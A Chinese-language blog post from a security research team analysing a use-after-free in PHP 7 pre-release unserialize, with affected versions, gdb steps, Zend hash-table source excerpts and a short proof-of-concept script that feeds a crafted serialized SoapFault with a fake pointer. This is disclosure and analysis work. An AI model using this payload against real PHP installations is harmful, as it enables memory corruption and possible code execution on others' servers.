IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    PHP 7 ZEND_HASH_IF_FULL_DO_RESIZE Use After Free 漏洞分析

    niubl发表于 2015-08-18 10:40:29
    love 0

    t0161159ea8ac88d849

    知道创宇安全研究团队  niubl:2015.8.18


     

    1. PHP介绍

    PHP(外文名: Hypertext Preprocessor,中文名:“超文本预处理器”)是一种通用开源脚本语言。
    PHP语法吸收了C语言、Java和Perl的特点,易于学习,使用广泛,主要适用于Web开发领域。PHP 独特的语法混合了C、Java、Perl以及PHP自创的语法。它可以比CGI或者Perl更快速地执行动态网页。用PHP做出的动态页面与其他的编程语言相比,PHP是将程序嵌入到HTML(标准通用标记语言下的一个应用)文档中去执行,执行效率比完全生成HTML标记的CGI要高许多;PHP还可以执行编译后代码,编译可以达到加密和优化代码运行,使代码运行更快。

     

    2. 漏洞简介

    PHP反序列化函数unserialize在反序列化字符串时,对于R或r类型引用,如果引用的是已经释放掉的变量,则有可能导致Use After Free漏洞。在PHP的众多漏洞中,http://www.cvedetails.com/vulnerability-list/vendor_id-74/PHP.html,很多都是unserialize函数引发的问题。之前有Stefan Esser介绍关于PHP unserialize RCE的演讲(http://www.slideshare.net/i0n1c/syscan-singapore-2010-returning-into-the-phpinterpreter),也有Tim Michaud关于PHP unserialize RCE的文章(http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in.html),这是个有趣的漏洞。

    在本文中,主要介绍PHP 7 在ZEND_HASH_IF_FULL_DO_RESIZE 时引发的Use After Free漏洞,当反序列化字符串时,如果HashTable哈希表中使用的元素个数超过哈希表本身的容量,就会重新申请一块更大的内存放置元素,并释放掉之前使用过的内存,然而这时R或r引用引用了释放掉的内存,造成Use After Free漏洞。

     

    3. 影响版本

    • php-7.0.0alpha1
    • php-7.0.0alpha2
    • php-7.0.0beta1
    • php-7.0.0beta2
    • php-7.0.0beta3

     

    4. 漏洞POC

    <?php
    
    $addr = 0x4141414141414141;
    
    $sf = new SoapFault('1', 'knownsec1', 'knownsec2', 'knownsec3','knownsec4', str_repeat("A",232).ptr2str($addr));
    $ob = unserialize("a:2:{i:0;".serialize($sf).'i:1;r:10;}');
    //var_dump($ob);
    
    function ptr2str($ptr)
    {
        $out = "";
        for ($i=0; $i<8; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
    
    ?>

     

    5. 漏洞分析

    gdb载入编译好的php文件

    gdb ./sapi/cli/php

    在文件var_unserialize.c 375行下断点

    b var_unserialize.c : 375

    上面的断点中加入命令打印数据

    command 1
    print *(var_entries *)var_hash ->first
    printzv 0x7ffff685ba20
    end

    运行poc.php

    r ./poc.php

    断下后输入c继续运行一次,显示如下

    Screenshot from 2015-08-18 18:13:53

     

    上图中可以看到var_hash中的SoapFault结构第8个字段faultstring指向的0x7ffff685c000内存地址,由于HashTable哈希表初始容量最小为8,而SoapFault有13个元素,所以这个时候需要增加容量,这个是在zend_hash_add_new()函数中判断的,zend_hash_add_new()函数调用的_zend_hash_add_new()函数,_zend_hash_add_new()函数调用_zend_hash_add_or_update_i函数,_zend_hash_add_or_update_i函数代码如下:

    static zend_always_inline zval *_zend_hash_add_or_update_i(HashTable *ht, zend_string *key, zval *pData, uint32_t flag ZEND_FILE_LINE_DC)
    {
    	zend_ulong h;
    	uint32_t nIndex;
    	uint32_t idx;
    	Bucket *p;
    
    	IS_CONSISTENT(ht);
    	HT_ASSERT(GC_REFCOUNT(ht) == 1);
    
    	if (UNEXPECTED(!(ht->u.flags & HASH_FLAG_INITIALIZED))) {
    		CHECK_INIT(ht, 0);
    		goto add_to_hash;
    	} else if (ht->u.flags & HASH_FLAG_PACKED) {
    		zend_hash_packed_to_hash(ht);
    	} else if ((flag & HASH_ADD_NEW) == 0) {
    		p = zend_hash_find_bucket(ht, key);
    
    		if (p) {
    			zval *data;
    
    			if (flag & HASH_ADD) {
    				return NULL;
    			}
    			ZEND_ASSERT(&p->val != pData);
    			data = &p->val;
    			if ((flag & HASH_UPDATE_INDIRECT) && Z_TYPE_P(data) == IS_INDIRECT) {
    				data = Z_INDIRECT_P(data);
    			}
    			HANDLE_BLOCK_INTERRUPTIONS();
    			if (ht->pDestructor) {
    				ht->pDestructor(data);
    			}
    			ZVAL_COPY_VALUE(data, pData);
    			HANDLE_UNBLOCK_INTERRUPTIONS();
    			return data;
    		}
    	}
    
    	ZEND_HASH_IF_FULL_DO_RESIZE(ht);		/* If the Hash table is full, resize it */
    
    add_to_hash:
    	HANDLE_BLOCK_INTERRUPTIONS();
    	idx = ht->nNumUsed++;

     

    上面的代码中调用了ZEND_HASH_IF_FULL_DO_RESIZE()函数,判断HashTable哈希表是否增加容量,她是个宏语句,最终调用zend_hash_do_resize()函数

    #define ZEND_HASH_IF_FULL_DO_RESIZE(ht)				\
    	if ((ht)->nNumUsed >= (ht)->nTableSize) {		\
    		zend_hash_do_resize(ht);					\
    	}

    zend_hash_do_resize函数:

    static void ZEND_FASTCALL zend_hash_do_resize(HashTable *ht)
    {
    
    	IS_CONSISTENT(ht);
    	HT_ASSERT(GC_REFCOUNT(ht) == 1);
    
    	if (ht->nNumUsed > ht->nNumOfElements + (ht->nNumOfElements >> 5)) { /* additional term is there to amortize the cost of compaction */
    		HANDLE_BLOCK_INTERRUPTIONS();
    		zend_hash_rehash(ht);
    		HANDLE_UNBLOCK_INTERRUPTIONS();
    	} else if (ht->nTableSize < HT_MAX_SIZE) {	/* Let's double the table size */
    		void *old_data = HT_GET_DATA_ADDR(ht);
    		Bucket *old_buckets = ht->arData;
    
    		HANDLE_BLOCK_INTERRUPTIONS();
    		ht->nTableSize += ht->nTableSize;
    		ht->nTableMask = -ht->nTableSize;
    		HT_SET_DATA_ADDR(ht, pemalloc(HT_SIZE(ht), ht->u.flags & HASH_FLAG_PERSISTENT));
    		memcpy(ht->arData, old_buckets, sizeof(Bucket) * ht->nNumUsed);
    		pefree(old_data, ht->u.flags & HASH_FLAG_PERSISTENT);
    		zend_hash_rehash(ht);
    		HANDLE_UNBLOCK_INTERRUPTIONS();
    	} else {
    		zend_error_noreturn(E_ERROR, "Possible integer overflow in memory allocation (%zu * %zu + %zu)", ht->nTableSize * 2, sizeof(Bucket) + sizeof(uint32_t), sizeof(Bucket));
    	}
    }

    在zend_hash_do_resize代码中可以看到,代码调用了memcpy把旧的数据拷贝到新的内存地址去,并且释放掉旧的内存地址:

    memcpy(ht->arData, old_buckets, sizeof(Bucket) * ht->nNumUsed);
    pefree(old_data, ht->u.flags & HASH_FLAG_PERSISTENT);

    然而我们再次在gdb中按c继续运行,再断下,观测var_hash结构:

    Screenshot from 2015-08-18 18:29:31

    可以发现faultstring指向的地址发生了变化,0x7ffff68613a0,这是由于HashTable哈希表增加容量造成的,然而在var_hash结构中,faultstring之前指向的地址0x7ffff685c000仍然在,她已经被释放掉了,这时如果有R或r引用该地址,即会造成Use After Free漏洞,POC构造如上所示。

     

    6. 相关链接

    • https://bugs.php.net/bug.php?id=70211
    • http://www.slideshare.net/i0n1c/syscan-singapore-2010-returning-into-the-phpinterpreter
    • http://www.php-internals.com/book/?p=chapt03/03-01-02-hashtable-in-php
    • http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in.html
    • https://github.com/80vul/phpcodz

     



沪ICP备19023445号-2号
友情链接